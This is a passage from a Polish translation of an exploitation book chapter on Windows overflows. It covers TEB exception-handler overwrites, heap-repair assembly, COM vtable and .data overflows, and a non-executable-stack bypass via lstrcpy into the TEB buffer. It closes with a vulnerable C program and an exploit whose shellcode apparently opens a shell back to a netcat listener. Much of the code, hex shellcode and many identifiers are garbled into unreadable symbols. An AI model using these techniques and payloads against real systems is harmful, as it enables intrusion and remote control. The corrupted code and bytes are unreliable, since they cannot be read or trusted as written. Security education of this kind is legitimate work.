��������G�����H������� ������&���Q���!�������' �'�����&@G��;��������&����������,������&��!����������' �'�����&@@$���������������1������ H����������Q���!��������;������ �&�����������&Q�Q�Q�@P�:BQ��,�������' �'�����&�!�������5�����,�����#��!���������88���������5�����,�6666��!���..!%
������������������ ������������������������������������� ���!���������"��� �"��������5�����,�Q��3Q�#<��!
((�K���Z�������������5�����,�Q�<<Q�<<Q�<<Q�<<Q�<<Q�<<��!
((" ���&������&�$�00=933;6>������97����B"?"#�K��)��)���T((� K+�K������� �����-���.$�0</��;�����&��&������K�&�((��+�A��+��������� 5�Z�[ ������)*�+_��
�������5�����,�Q���Q�55Q��9Q�00��!
((��+�A��+��������� 5�Z�[ ������)*�+_��������5�����,�Q�3<Q�09Q��6Q�00��!((00�6093<
���@$!
Rozdział 8. ♦ Przepełnienia w systemie Windows 179
���������7#���������5�����,�Q�2$��!���..!%((+ �� �Z +���� Z�)*�������&��������!�������5�����,�Q�99Q�=$Q�4$Q�8:Q�89Q�8#Q�8=Q�89Q�4<Q�43Q�4$Q�49Q�32��!����������������&�,�������' �'�����&�!�������5�����,�&��!�������5�����,�Q�11Q�6#Q�2$Q�2$��!��������Q���������H����#������������� ��� ����Q���!�����&�5������!������$!%
����H������G��;�����������I��5,����I��������D6RL��@ERLL!����H�������@$!�@L ��L�5�������5�!���S��������$!�@G��"� �;��������,�����!���S��������$!�������!%
� ���������������������I�&�,����H�������������H�������@$!�@�!�@�7<!�@���7<!�&�-$/@�!�@�!�@���:!�@�7<!�@���7<!�&�-#/@�!�@�!�@���#8!�@�7<!�@���7<!�&�-7/@�!�@�!�@���7<!�&�-9/@�!%
Nadpisanie wskaźnika procedury obsługi wyjątkóww bloku TEB
Podobnie jak w przypadku metody wykorzystującej filtr nieobsłużonych wyjątkówHalvar Flake jako pierwszy zaproponował nadpisanie wskaźnika struktury �������������� ���� przechowywanego w bloku TEB (Thread Environment Block). Każdy
180 Część II ♦ Włamania na platformach Windows, Solaris i Tru64
wątek posiada blok TEB, który dostępny jest za pośrednictwem rejestru segmento-wego +�. Pod adresem +�����# znajduje się wskaźnik pierwszej struktury �����)��������� ����. Dokładne położenie bloku TEB zmienia się w zależności od mo-mentu utworzenia wątku, liczby wątków i wielu innych czynników. Zwykle blok TEBpierwszego wątku znajduje się pod adresem ��*++.����, następnego wątku pod adre-sem ��*++..���, czyli w odległości ��0��� bajtów od poprzedniego, i tak dalej. BlokiTEB kolejnych wątków tworzone są zawsze w kierunku adresu ����������. Poniższykod podaje adres bloku TEB pierwszego wątku:
������������ ���
���&������''��&�& ����,�� �������>-$�#:/�������%��������C�3>P�:BQ���!
''��&�������,<%
������$!%
Gdy jeden z wątków kończy swoje działanie, przestrzeń zajmowana przez jego blok TEBzostaje zwolniona i będzie użyta dla bloku TEB wątku, który zostanie utworzony jakonastępny. Stosując przepełnienie sterty, możemy nadpisać wskaźnik struktury �����)��������� ����, który dla pierwszego wątku znajduje się pod adresem ��*++.����.Gdy wystąpi wyjątek związany z naruszeniem ochrony dostępu do pamięci, to będziemyposiadać kontrolę nad wywoływaną procedurą obsługi wyjątków. Zwykle jednak,zwłaszcza w przypadku serwerów o architekturze wielowątkowej, wykorzystanie tej me-tody nastręcza pewnych trudności, ponieważ nie jesteśmy pewni, gdzie dokładnieznajduje się blok TEB bieżącego wątku. Dlatego też metoda ta najlepiej sprawdza sięw przypadku programów jednowątkowych, na przykład uruchamianych w oparciuo interfejs CGI. W przypadku serwerów wielowątkowych najlepiej jest uruchomićwiele wątków i wybrać posiadający najniższy adres TEB.
Naprawa sterty
Po uszkodzeniu sterty przez przepełnienie z reguły powinniśmy ją naprawić. W prze-ciwnym razie możemy być prawie pewni, że nasz proces naruszy mechanizm ochrony
pamięci, zwłaszcza gdy przepełnienie dotyczyło domyślnej sterty procesu. Naprawasterty może polegać na wykonaniu pewnej pracy w zakresie inżynierii odwrotnej dla
atakowanej aplikacji i wyznaczeniu dokładnych rozmiarów bufora oraz następnego
bloku pamięci. Rozmiarom tym możemy przywrócić oryginalne wartości, jednak taki
sposób działania okaże się zbyt pracochłonny, gdy będzie wykonywany dla każdego
włamania z osobna. Bardziej przydatna byłaby ogólna metoda. Najbardziej nieza-
wodna i ogólna metoda naprawiania sterty polega na przywróceniu jej postaci, jakąposiada każda nowa (lub prawie nowa) sterta. Przypomnijmy, że po utworzeniu nowej
Rozdział 8. ♦ Przepełnienia w systemie Windows 181
sterty, ale przed przydzieleniem jakiegokolwiek jej bloku struktura +���=�������(�� �% ��#$#��0*?) zawiera dwa wskaźniki wskazujące pierwszy wolny blok (�� �% ��
$#��F??) oraz dwa wskaźniki w obrębie tego bloku wskazujące strukturę +���=�������.
Wskaźniki umieszczone w strukturze +���=������� możemy zmodyfikować, tak aby
wskazywały koniec naszego bloku, dzięki czemu powstanie sytuacja, w której pierwszy
wolny blok będzie znajdować się za naszym buforem. Musimy również zmodyfikować
dwa wskaźniki znajdujące się na końcu naszego bufora i poprawić kilka innych szcze-gółów. Jeśli zniszczyliśmy blok znajdujący się na domyślnej stercie procesu, to mo-
żemy naprawić go za pomocą przedstawionego poniżej kodu w asemblerze. Kod ten
powinien zostać wykonany, zanim kod powłoki rozpocznie inne operacje, aby zapobiec
naruszeniu ochrony pamięci. Dobrą praktyką jest również naprawienie wykorzystanego
mechanizmu obsługi wyjątków, ponieważ zapobiega wejściu w pętlę w momencie na-
ruszenia ochrony pamięci.
((" ��+ ������ K+�K������� �����-���.0:/���� �����((�����Z � ���K�H 5�� ������.0:(()�����+�A��+��&����+����K��K*�K���������*�((U�+�A��+����&��V��&����)����K����((��[�)�&�H � � 5������& ����+��)�������((��)����+������������#��"�$�"���"���%�"���&'((U��K����+������&�U��� ��7$$$((K�&����� ��[�K�H � K+�K�����[��[�`((& ����,�� �����-���.$�<=/(( �+Z���$�#:���� ����������(���)�((�Z���)��T���� V`K��� ��� �3B��������*�((" 5������+�A��+5� +�C�3((K��>-#:/�������#����$�"���"����+��%�*�'((" 5������+�A��+5� +�"�3((K5� +�C�3��������#����$�"���"���%������,�'((" 5������+�A��+� &�V���)�������� ����((K5� +�"�3�������#����$�"���"���%������)�'((F�)�������K����������K��+�A��+������((;�������&�� ���`$�$$��$$$$((^ ��H�)�&���+�A��+,��+5���+�K���Z((���� V`C ���1���?�K������� ��������""��-$��.�((Z���)��Z � C ���1���?�K�� ���������#���$����"���%���'((�K�����)�)�����K�)����+���K�K��K*�K����((�����*��������#����"���%�"�'$��((K��T+�K���� 7����������"�����������"�((X&������ K&���� ��K�����H 5� +���:�������#�*������%�"�'$��������������"�((E���)�+ ��)��&75�)� &���� V`$�������#���$����"���%�"�'
182 Część II ♦ Włamania na platformach Windows, Solaris i Tru64
������������"���%�"�'$������������"�����������"�((E���)�K���K��+ &���� V`$�#<�������#�*������%�"�'$��)&����������"�((�����T���&75�)� &���� V`$�������#���$����"���%�"�'������������"���%�"�'$������������"�����������"�((+ ��H�)����,�5���+�K���Z����'5���.$�#0:((�����K&����� V`����'5���.$�7:�������""���$��)/�((�����+�K�)�����K1���L����-$/((K�����)����)�+ 1���L����-$/�1���+�������#�"���"���%���'$�"�(( ��K)�+ 1���L����-$/�3���+�������#�"���"���%����&'$�"�((� ����+�)���+�A��+�K��)��)*����T��+ a��((���K�H 5� +�,�5���+�K���Z�1���L����-$/�������#�"���"���%�"�'$����������#�"���"���%�"��&'$���
Po naprawieniu sterty możemy wykonać dowolny kod. Stercie nie została przywróco-na postać zupełnie nowej sterty, ponieważ inne wątki mogły już wcześniej umieścić
na niej swoje dane. Dane takie umieszcza na stercie na przykład wywołanie funkcjiI� �� ��8�. Jeśli dane te zostaną zniszczone, ponieważ stercie został przywrócony
stan wyjściowy, to jakiekolwiek wywołanie funkcji związanej z gniazdami sieciowy-
mi spowoduje naruszenie ochrony pamięci.
Inne aspekty przepełnień sterty
Nie zawsze przepełnienie sterty zostaje wykorzystane na skutek wywołania funkcji
�� � ""��DE lub �� �+���DE. Inne możliwości wykorzystania przepełnień sterty doty-
czą między innymi prywatnych danych klas języka C++ oraz obiektów modelu COM
(Common Object Model). Model COM umożliwia programistom tworzenie obiektów
na bieżąco przez inne programy. Obiekt taki posiada funkcje czy raczej metody, które
mogą zostać wywołane w celu realizacji pewnych zadań. Dobrym źródłem informacji
na temat możliwości modelu COM jest oczywiście witryna firmy Microsoft (www.
microsoft.com/com/). Dlaczego jednak model COM jest tak interesujący z punktu widze-
nia przepełnień sterty?
Obiekty COM i sterta
Instancja obiektu COM tworzona jest na stercie. Dla każdego obiektu tworzona jest
tabela wskaźników funkcji, znana jako vtable. Wskaźniki te wskazują kod metod, któ-
re obsługują dany obiekt. Powyżej tabeli vtable (w sensie adresów pamięci wirtual-
nej) przydzielony zostaje obszar dla danych obiektu. Gdy tworzone są kolejne obiekty
COM, to ich tabele vtable oraz dane umieszczane są ponad poprzednimi obiektami.
Zastanówmy się, co się stanie, gdy bufor należący do sekcji danych jednego z obiektów
Rozdział 8. ♦ Przepełnienia w systemie Windows 183
zostanie przepełniony. Przepełnienie takie może nadpisać tabelę vtable następnego
obiektu. W ten sposób haker może przejąć kontrolę nad metodami tego obiektu. Wy-
starczy, że nadpisze wskaźnik jednej z metod adresem swojego bufora. Gdy metoda ta
zostanie wywołana, to sterowanie trafi do kodu umieszczonego w buforze przez hakera.
Metoda taka jest często stosowana w przypadku obiektów ActiveX ładowanych przez
przeglądarkę Internet Explorer. Wykorzystanie przepełnień w przypadku obiektów
COM jest więc niezwykle łatwe.
Przepełnianie danych sterujących logiką programu
Włamania przeprowadzane za pomocą przepełnienia sterty nie muszą prowadzić do
wykonania kodu wprowadzonego przez hakera. Celem ataku mogą być zmienne prze-
chowywane na stosie, które decydują o sposobie działania aplikacji. Wyobraźmy so-
bie na przykład serwer Web, które przechowuje na stercie informacje o uprawnieniach
dotyczących wirtualnych katalogów. Nadpisanie takiej struktury za pomocą przepełnienia
na stercie umożliwi atakującemu uzyskanie prawa zapisu w katalogu nadrzędnym i zała-
dowanie własnych treści na serwer.
Podsumowanie przepełnień sterty
Przedstawiliśmy kilka mechanizmów umożliwiających wykorzystanie przepełnień
sterty. Wykorzystanie każdego przepełnienia sterty wymaga indywidualnego podej-
ścia, ponieważ przepełnienia te zawsze różnią się między sobą. Omówiliśmy również
niebezpieczeństwa wynikające z nieostrożnego obchodzenia się ze stertą. Konse-
kwencje mogą być nieprzyjemne, wobec czego lepiej zachować ostrożność.
Inne przepełnienia
Podrozdział ten poświęciliśmy przepełnieniom, które nie zachodzą ani na stosie, ani
na stercie.
Przepełnienia sekcji .data
Każdy program podzielony jest na szereg obszarów zwanych sekcjami. Właściwy kodprogramu umieszczony jest w sekcji .text. Sekcja >! � zawiera zmienne globalne.Informacje o sekcjach programu możemy uzyskać na podstawie jego pliku wyko-nywalnego za pomocą narzędzia !8'�(�� wywołanego z opcją G�� .�� oraz opcjąG���������>nazwa_sekcji, która wyświetla informacje o wybranej sekcji. Chociaż prze-pełnienia sekcji >! � są rzadziej spotykane niż przepełnienia stosu lub sterty, to sąone również z powodzeniem wykorzystywane na platformie Windows. Podstawowymutrudnieniem w ich przypadku jest konieczność zachowania odpowiednich zależnościczasowych. Przeanalizujmy to na poniższym przykładzie kodu w języku C:
184 Część II ♦ Włamania na platformach Windows, Solaris i Tru64
������������ ��������������� �����
����H�������5�����-97/@��!1;F"FD=&������@$!1;F"FD=&������@$!
���&���������H�,����I��H�-/����D6RL��@$!�@L ��L�5������&�����������!���S��������$!&������@G��"� �;��������,���������!���S&�������������$!&������@G��"� �;��������,���������!���S&�������������$!�&��������5�����,��H�-#/�!''��&�������,:%�&���������P��,5������!''��&�������,:%1���L�5�������!
������$!%
Program ten ładuje dynamicznie bibliotekę runtime języka C ('�A���>!""), a następniepobiera adresy funkcji ������DE i ������DE. Adresy te zostają umieszczone w zmiennychglobalnych, które przechowywane są w sekcji >! � . Zdefiniowany został równieżglobalny bufor mieszczący 32 bajty. Wskaźniki funkcji używane są następnie w celuskopiowania danych do tego bufora oraz wyświetlenia jego zawartości. Zwróćmy jednakuwagę na uporządkowanie zmiennych globalnych. Pierwszy jest bufor, a dopiero za nimznajdują się wskaźniki. W tej samej kolejności zmienne te zostaną umieszczone w sekcji>! � . Jeśli bufor zostanie przepełniony, to wskaźniki funkcji zostaną nadpisane. W tensposób haker może przejąć kontrolę nad programem w momencie wywołania jednejz funkcji.
Przeanalizujmy, co się stanie, gdy nasz program zostanie uruchomiony ze zbyt długimłańcuchem argumentu. Pierwszy z argumentów wywołania programu zostaje skopiowanydo bufora za pomocą funkcji ������. Przepełnienie tego bufora sprawia, że nadpisanezostają wskaźniki funkcji. Następnie program próbuje wywołać funkcję ������, posłu-gując się jej wskaźnikiem. Wywołanie to umożliwia przejęcie sterowania przez kodwprowadzony przez hakera. Oczywiście opisana tutaj sytuacja została znacznieuproszczona dla potrzeb ilustracji. W rzeczywistości sprawa nie jest taka prosta. Nad-pisany wskaźnik może zostać użyty przez program znacznie później, a w międzycza-sie zostanie usunięta zawartość bufora. Dlatego właśnie zależności czasowe stanowiąpodstawową przeszkodę przy tego rodzaju atakach. W naszym przykładzie w momenciewywołania funkcji ������ za pomocą wskaźnika rejestr � � wskazuje początek bufora,wobec czego możemy nadpisać wskaźnik printf adresem rozkazu &'�#� � lub � ""#� �.Co więcej, ponieważ bufor jest parametrem przekazywanym funkcji ������, to jegoadres możemy znaleźć na stosie pod adresem ���#$#?. Oznacza to, że równie dobrze
Rozdział 8. ♦ Przepełnienia w systemie Windows 185
moglibyśmy nadpisać wskaźnik funkcji adresem bloku kodu zawierającego sekwencjęrozkazów ���, ���, ���. Dwa pierwsze rozkazy odsłonią nam na stosie adres bufora.Wykonanie rozkazu �� przekaże sterowanie do tego bufora. Przypomnijmy jednakraz jeszcze, że nie jest to typowa sytuacja dla rzeczywistych programów. Zaletą prze-pełnień sekcji >! � jest przede wszystkim możliwość odnalezienia bufora w sekcji>! � zawsze pod tym samym adresem.
Przepełnienia bloków TEB i PEB
Aby przegląd przepełnień był kompletny, należy wspomnieć o możliwości przepeł-niania bloków TEB. Należy jednak zaznaczyć, że nie istnieją żadne publicznie ujawnio-ne raporty na temat wykorzystania takich przepełnień w praktyce. Każdy blok TEB za-wiera bufor, który używany jest do konwersji łańcuchów znakowych z kodu ASCII nakod Unicode na przykład przez funkcje �����'�8���� '� czy �����!8"�� �!"� . Prze-pełnienie tego bufora może nastąpić, gdy funkcja nie sprawdza długości umieszczanegow nim łańcucha bądź gdy istnieje sposób wprowadzenia ją w błąd co do rzeczywistej dłu-gości łańcucha w kodzie ASCII. Załóżmy, że znaleźliśmy metodę wywołania takiegoprzepełnienia. Zastanówmy się, w jaki sposób możemy wykorzystać to przepełnienie dowykonania własnego kodu. Sposób ten zależy od tego, w którym z bloków TEB nastąpiłoprzepełnienie. Jeśli przepełnienie nastąpiło w bloku TEB pierwszego wątku danegoprocesu, to w efekcie nadpisany został blok PEB tego procesu. Przypomnijmy, że w blokuPEB znajduje się szereg ważnych wskaźników, które używane są podczas kończeniapracy procesu. Przepełniając bufor bloku TEB, możemy nadpisać jeden z tych wskaźni-ków i przejąć sterowanie przed zakończeniem procesu. Natomiast gdy przepełnionyblok TEB należy do innego wątku, nadpisana zostanie zawartość innego bloku TEB.
W każdym bloku TEB znajduje się wiele interesujących wskaźników, które możemy
nadpisać. Przykładem może być wskaźnik pierwszej struktury �������������� ����.Po nadpisaniu tego wskaźnika musimy jeszcze wywołać wyjątek w wątku, do któregonależy dany blok TEB. Możliwe jest również przepełnienie wielu bloków TEB i nad-pisanie wskaźników znajdujących się w bloku PEB. Pewnym utrudnieniem związanymz wykorzystaniem takich przepełnień jest to, że nadpisują one wskaźniki danymi w ko-dzie Unicode.
Przepełnienie buforówi stosy zabraniające wykonania kodu
W systemie Sun Solaris wprowadzono możliwość takiego konfigurowania stosu, byuniemożliwiał on wykonanie znajdującego się na nim kodu. Oczywiście celem tegorozwiązania było zapobieżenie atakom wykorzystującym przepełnienia buforów na
stosie. Jednak w przypadku procesorów x86 rozwiązanie takie nie jest możliwe. Do-stępne są jedynie produkty, które śledzą stosy wszystkich działających procesów. Jeśliwykryta zostanie próba uruchomienia kodu znajdującego się na stosie, działanie procesuzostaje zakończone.
186 Część II ♦ Włamania na platformach Windows, Solaris i Tru64
Istnieje szereg sposobów obejścia mechanizmów ochrony stosu. Jedna z nich, zapro-
ponowana przez hakera o pseudonimie Solar Designer, polega na nadpisaniu adresu
powrotu za pomocą adresu funkcji �����'DE. David Litchfield napisał artykuł poświę-
cony zastosowaniu tej metody na platformie Windows. Okazuje się jednak, że istnieje
jeszcze lepsza metoda. Rafał Wojtczuk opisał ją na łamach Bugtraq (http://community.
core-sdi.com/~juliano/non-exec-stack-problems.html). Metoda ta wykorzystuje kopiowa-
nie łańcuchów i nie została jeszcze opisana dla platformy Windows. Uczynimy to poniżej.
Z nadpisaniem adresu powrotu za pomocą adresu funkcji �����'DE wiąże się następują-
cy problem. Funkcja �����'DE eksportowana jest w systemie Windows przez bibliote-
kę '�A���>!"", której położenie w pamięci zmienia się dla różnych systemów (a nawet
dla różnych procesów działających w tym samym systemie). Co gorsza, wykonując
polecenie, tracimy dostęp do interfejsu Win32, co znacznie ogranicza nasze możliwości.
Dlatego lepszym rozwiązaniem byłoby skopiowanie naszego bufora na stertę procesu
lub do innego obszaru pamięci, który umożliwia zapis danych i wykonanie kodu. W tym
celu nadpiszemy adres powrotu adresem funkcji kopiującej łańcuchy. Nie będzie to jednak
funkcja ������DE, ponieważ jest ona, podobnie jak funkcja �����'DE, eksportowana
przez bibliotekę '�A���>!"". Natomiast funkcja "������DE eksportowana jest przez
bibliotekę 7����"/C>!"", która posiada zawsze ten sam adres bazowy przynajmniej dla
wszystkich procesów działających w tym samym systemie. Jeśli wykorzystanie funkcji
"������DE natrafia na pewne przeszkody (na przykład jej adres zawiera niedozwolo-
ny znak, taki jak ��� ), to możemy użyć jeszcze funkcji "���� �DE.
Gdzie skopiujemy zawartość naszego bufora? Moglibyśmy umieścić ją na stercie,
ale istnieje duża szansa, że uszkodzimy stertę i tym samym zakończymy działanie
procesu. Dlatego wybierzemy blok TEB. Każdy blok TEB posiada 520-bajtowy bu-
for używany do konwersji łańcuchów z Unicode na ASCII. Bufor ten jest przesunięty
o ����� bajtów względem początku bloku TEB. Blok TEB pierwszego z wątków da-
nego procesu posiada adres ��*++.���� i wobec tego interesujący nas bufor ma adres
��*++.����. Bufor ten używany jest do konwersji łańcuchów na przykład przez funk-
cję �����!8"�� �!"� . Jego adres moglibyśmy przekazać jako adres bufora docelowe-
go funkcji "������, ale ze względu na bajt zerowy na końcu łańcucha posłużymy się
w praktyce adresem ��*++.���1. Musimy jeszcze określić położenie naszego bufora na
stosie. Ponieważ adres ten znajdzie się na końcu naszego łańcucha, nie ma znaczenia,
czy rozpoczyna się od bajtu zerowego (np. ����0C++.�). Bajt ten spełnia wtedy równocze-
śnie funkcję oznaczenia końca łańcucha. Pozostaje nam jeszcze skonfigurować od-
powiednio adres powrotu, aby po zakończeniu funkcji "������ sterowanie trafiło do
naszego bufora zawierającego kod powłoki.
Zaatakowana funkcja, kończąc swoje działanie, zdejmuje ze stosu adres powrotu. Adresten nadpisaliśmy za pomocą adresu funkcji "������DE, wobec czego wykonanie rozkazupowrotu przekaże sterowanie do funkcji "������DE. Dla funkcji "������DE rejestr ���wskazywać będzie adres powrotu. Funkcja pominie ten adres i przejdzie do swoichparametrów — bufora źródłowego i bufora docelowego. Następnie będzie kopiowaćkolejne bajty, począwszy od adresu ����0C++.�, do bufora o adresie ��*++.���1 takdługo, aż natrafi na bajt zerowy kończący łańcuch źródłowy (wskaźnik bufora źródłowegoznajduje się w dolnym prostokącie po prawej stronie rysunku 8.4). Po zakończeniu kopio-wania funkcja "������ zwraca sterowanie do naszego bufora. Oczywiście umieszczony
Rozdział 8. ♦ Przepełnienia w systemie Windows 187
Rysunek 8.4.Stos przed i po
przepełnieniu
tam kod powłoki musi mieć rozmiar mniejszy niż 520 bajtów. W przeciwnym bo-wiem razie spowoduje przepełnienie bufora bloku TEB i nadpisze kolejny blok TEBlub PEB. (Możliwości przepełnień bloków TEB i PEB omówimy później).
Zanim przejdziemy do tworzenia kodu, musimy najpierw zastanowić się, jak będziedziałał tworzony eksploit. Jeśli użyje on jakiejkolwiek funkcji, która wykorzystujebufor bloku TEB do konwersji pomiędzy kodami Unicode i ASCII, działanie procesumoże zostać zakończone. Na szczęście w blokach TEB istnieją inne wolne obszary,które nie są używane lub ich nadpisanie nie jest krytyczne. Na przykład począwszy odadresu ��**++.�0%� (dla bloku TEB pierwszego wątku danego procesu), zaczyna sięblok bajtów zerowych.
Przyjrzyjmy się teraz kodowi przykładów. Najpierw kod atakowanego programu:
������������ ���
���� �����I�!
���&���������H�,����I��H�-/������H�������5�����-47$/@��!�����H�S@7���������������"���������������H�&���SQ���!� ���H�-#/�!������$!%
���� �����I�����������H�������5�����-8$$/@��!��������P�:BQ��,M5������!�������5�����,������!������$!%
Przepełnienie bufora na stosie zachodzi w funkcji ���DE. Funkcja ������DE kopiuje danewprowadzone przez użytkownika do bufora o rozmiarze 600 znaków bez sprawdzeniarozmiaru łańcucha źródłowego. Powodując przepełnienie nadpiszemy adres powrotuadresem funkcji "���� � .
188 Część II ♦ Włamania na platformach Windows, Solaris i Tru64
W systemie Windows XP Service Pack 1 adres funkcji "������ zawiera bajt ��� .
Następnie modyfikujemy adres powrotu, aby funkcja "���� � , kończąc swoje dzia-
łanie, przekazała sterowanie do naszego nowego bufora w bloku TEB. A także przy-
gotowujemy parametry funkcji, z których bufor docelowy znajduje się w bloku TEB,
a bufor źródłowy na stosie. Program kompilujemy w środowisku Microsoft Visual
C++ 6.0 na platformie Windows XP Service Pack 1. Nasz eksploit jest przenośnym
kodem powłoki. Działa poprawnie dla systemu Windows NT i jego następnych wer-
sji. Z bloku PEB pobiera najpierw listę załadowanych modułów. Następnie odnajduje
adres bazowy modułu 7����"/C>!""#i parsuje jego nagłówek PE w celu odnalezienia
adresu funkcji ������� !!����. Dysponując tym adresem oraz adresem bazowym
7����"/C>!"", może uzyskać również adres funkcji =� !=�(� �� . Korzystając z obu
wymienionych funkcji, może już zrealizować swoje zadanie. Za pomocą następujące-
go polecenia uruchomimy program ���� �, aby nasłuchiwał na podanym porcie:
=>Q���J�J�49
a następnie uruchomimy nasz eksploit. W efekcie powinniśmy uzyskać nową powłokę.
������������ ��������������� �����
����H����������� ��-4#$/@�Q�44Q�:3Q��=Q��3Q�$9Q�43Q��3Q�$4Q��:Q�1:Q�11Q�11Q�11Q�3�Q�11Q�11��Q�11Q�11Q�:#Q�18Q�6=Q�1�Q�11Q�11Q�$9Q�6�Q�99Q�=$Q�4$Q�4$Q�4$Q�4$��Q�4$Q�4$Q�4$Q�4$Q�4$Q�4$Q�11Q�69Q�4$Q�8:Q�8#Q�07Q�02Q�<#Q�8:Q�<=��Q�82Q�87Q�07Q�8:Q�<=Q�81Q�8#Q�8<Q�4<Q�11Q�04Q�1=Q�11Q�44Q�1<Q�:2��Q�<4Q�1$Q�:9Q�=9Q�89Q�:9Q�=9Q�46Q�99Q�=2Q�3#Q�<�Q�37Q�11Q�9$Q�#9��Q�:9Q��3Q�$#Q��7Q�12Q�<9Q�49Q�11Q�04Q�1=Q�11Q�44Q�1<Q�:2Q�<4Q��=��Q�:9Q�=9Q�#$Q�49Q�11Q�04Q�1=Q�11Q�44Q�1<Q�:2Q�<4Q��:Q�:9Q�=9Q�$=��Q�49Q�11Q�44Q�1$Q�:2Q�<4Q�1:Q�:9Q�=9Q�$=Q�49Q�4$Q�11Q�44Q�1<Q�:2��Q�<4Q��<Q�:9Q�=9Q�$=Q�49Q�11Q�04Q�1:Q�11Q�44Q�1<Q�:2Q�<4Q��$Q�:9��Q�=9Q�$=Q�49Q�11Q�04Q�1:Q�11Q�44Q�1<Q�:2Q�<4Q�6=Q�:9Q�=9Q�$:Q�:2��Q�46Q�6:Q�99Q�67Q�88Q�:9Q�=7Q�$7Q�4<Q�47Q�11Q�44Q��<Q�99Q�=$Q�99��Q�=2Q�88Q�32Q�$<Q�$#Q�4$Q��7Q�16Q�:2Q�<4Q�6<Q�:2Q�<4Q�6$Q�31Q�$;��Q�$#Q�$#Q�78Q�:2Q�06Q�==Q�<$Q�<$Q�:2Q�<4Q�=:Q�88Q�3:Q�11Q�11Q�88��Q�94Q�11Q�=;Q�88Q�:2Q�<4Q�=;Q�8;Q�$#Q�8;Q�$7Q�11Q�44Q��$Q�:2Q�<4��Q��$Q�8;Q�#$Q�:6Q�04Q�=:Q�48Q�:3Q�46Q��$Q�49Q�11Q�44Q�6=Q�:9Q�=$��Q�<<Q�:2Q�:4Q�4:Q�11Q�11Q�11Q�:9Q�=$Q�4�Q�:9Q�=$Q�4�Q�:2Q�<4Q�:<��Q�:2Q�46Q�2$Q�:2Q�46Q�2<Q�:2Q�46Q�2:Q�:6Q�36Q�<:Q�11Q�11Q�11Q�40��Q�:6Q�36Q�4:Q�11Q�11Q�11Q�40Q�99Q�=$Q�4$Q�4$Q�4$Q�:9Q�=$Q�$#Q�4$��Q�:9Q��:Q�$#Q�4$Q�4$Q�:3Q�46Q�6:Q�49Q�4$Q�11Q�44Q��=Q�11Q�44Q��:��Q�8$Q�99Q�67Q�:9Q�=7Q�9$Q�8<Q�:3Q�$7Q�:3Q�<$Q�$=Q�:3Q�0$Q�#=Q�;6��Q�:3Q�4$Q�$:Q�47Q�:3Q�=7Q�:3Q�17Q�:3Q�6;Q�:3Q�=;Q�$9Q�47Q�9=Q�$9��Q�<7Q�0:Q�$9Q�4:Q�#=Q�4#Q�8;Q�#1Q�42Q�<#Q�$9Q�9<Q�$:Q�42Q�$9Q�<:��Q�7<Q�4;Q�47Q�:3Q�1;Q�$9Q�9�Q�:#Q�91Q�<0Q�84Q�0<Q�4$Q�0<Q�$:Q�:9��Q�=8Q�$<Q�:9Q�=#Q�$7Q��3Q��=Q�:9Q�=0Q�$<Q�:#Q�91Q�07Q�81Q�89Q�<#��Q�0<Q�$:Q�:9Q�=8Q�$<Q�:9Q�=#Q�$7Q��3Q�62Q�:3Q�1;Q�$1Q�30Q�$#Q�$9��Q�9=Q�:9Q�:2Q�0=Q�7<Q�<<Q�:3Q�9=Q�7<Q�:2Q�0=Q�7<Q�<=Q�41Q�8#Q�=9��Q�2$Q�2$Q�2$Q�3=Q�:6Q�2;Q�2�Q�:3Q�2;Q�;1Q�:6Q�2$Q�2=Q�2;Q�:=Q�:=��Q�3�Q�11Q�11Q�3;Q�:0Q�28Q�:3Q�;3Q�20Q�:6Q�2;Q�2�Q�23Q�11Q�11Q�;:��Q�:=Q�=6Q�;$Q�==Q�=6Q�6#Q�23Q�29Q�29Q�11Q�11Q�;:Q�;=Q�3�Q�;=Q�:3�
Rozdział 8. ♦ Przepełnienia w systemie Windows 189
�Q�2�Q�:6Q�:3Q�:;Q�:1Q�11Q�11Q�;:Q�;=Q�3�Q�;=Q�2$Q�2=Q�2<Q�2;Q�:3��Q�3�Q�11Q�11Q�2=Q�2$Q�2#Q�2#Q�2;Q�2=Q�:3Q�11Q�2=Q�27Q�23Q�11Q�11��Q�11Q�11Q�11Q�11�!
���&���������H�,����I��H�-/��������@$!����H�������5�����-#$$$/@��!
�����H�S@9�������$!
?����U��� �+��!
((R���������� "���&��� ����+ �K��� �Z +�((;���� "���� ������K������`5�)�_�K�� ����,((� �����[K ������ 5��T���?��R����� �����H�-#/,�� ����H�-7/��!
((��K�����+ ����H �� H��&��������5�����,������!((+ ���)�+ �� �Z +�� 5�� ���������5�����,���� ���!
((RK���Z���5�� ����������74���������5�����,�Q�2$Q�2$Q�2$Q�2$��!���..!%
�������5�����,�Q�2$Q�2$Q�2$Q�2$��!
((;����� �� ��K ���������������((������&���+�)��������;������&��U��� ��B"?"#((�_���&$�00�0<388�������5�����,�Q�88Q�<3Q��0Q�00��!
((^ ���H���)������� �� ��������+�)��������;(()�+ ��������K�H + ���5� +�C�3�������5�����,�Q�3=Q��#Q�16Q�01��!
((^ ���H���)�5�� �� ��� ��������+�)��������;((��_����[5�� ��5� +�C�3��������5�����,�Q�3=Q��#Q�16Q�01��!
((3�� �A�_�Z ���" �������&��&K��)��)���T((���K ��H������5�� ����� ����������5�����,�Q�#$Q�13Q�#7��!
((R�����&��&����+ ������ H��&SU�������5�����,?U'�;B � X��!
������$!%
190 Część II ♦ Włamania na platformach Windows, Solaris i Tru64
���?����U��� �+���������@$!UDF6�]���� �F�b������!U?;6;C;���6���!
�]���� �F�b������@�;^�UDF6�7,$�!���@U?;?��������]���� �F�b������,M���6����!������S@$�������$!���LD3YC�����6�����]���� ��S@7\\� 3YC�����J6�����]���� ��S@$��U?;=��������!������$!%������$!%���?��R����� �������I&���,���&�� ��������H��������@$!����H����� �����@$!����I���@��!����I����@��!
��@����'�����&����!
���@�����I�M��!���� ��-#2#/@���-$/!���� ��-#27/@���-#/!���� ��-#29/@���-7/!���� ��-#2</@���-9/!
(( +��V��� ��C="((��+�_��&���Z����)�������((���>��J�J�49
���@�� ��������H����� ���&�� ���!���@���N$�1111!����@�����I�M���!���� ��-7$2/@����-$/!���� ��-7#$/@����-#/!
������$!%
Podsumowanie
W tym rozdziale omówiliśmy bardziej zaawansowane metody wykorzystania prze-pełnień na platformie Windows. Z przedstawionych przykładów płynie nauka, żeprawie zawsze można rozwiązać lub obejść trudności pojawiające się podczas przy-gotowywania włamania. W praktyce można nawet założyć, że każda możliwość prze-pełnienia nadaje się do wykorzystania podczas włamania. Wystarczy jedynie znaleźćodpowiedni sposób.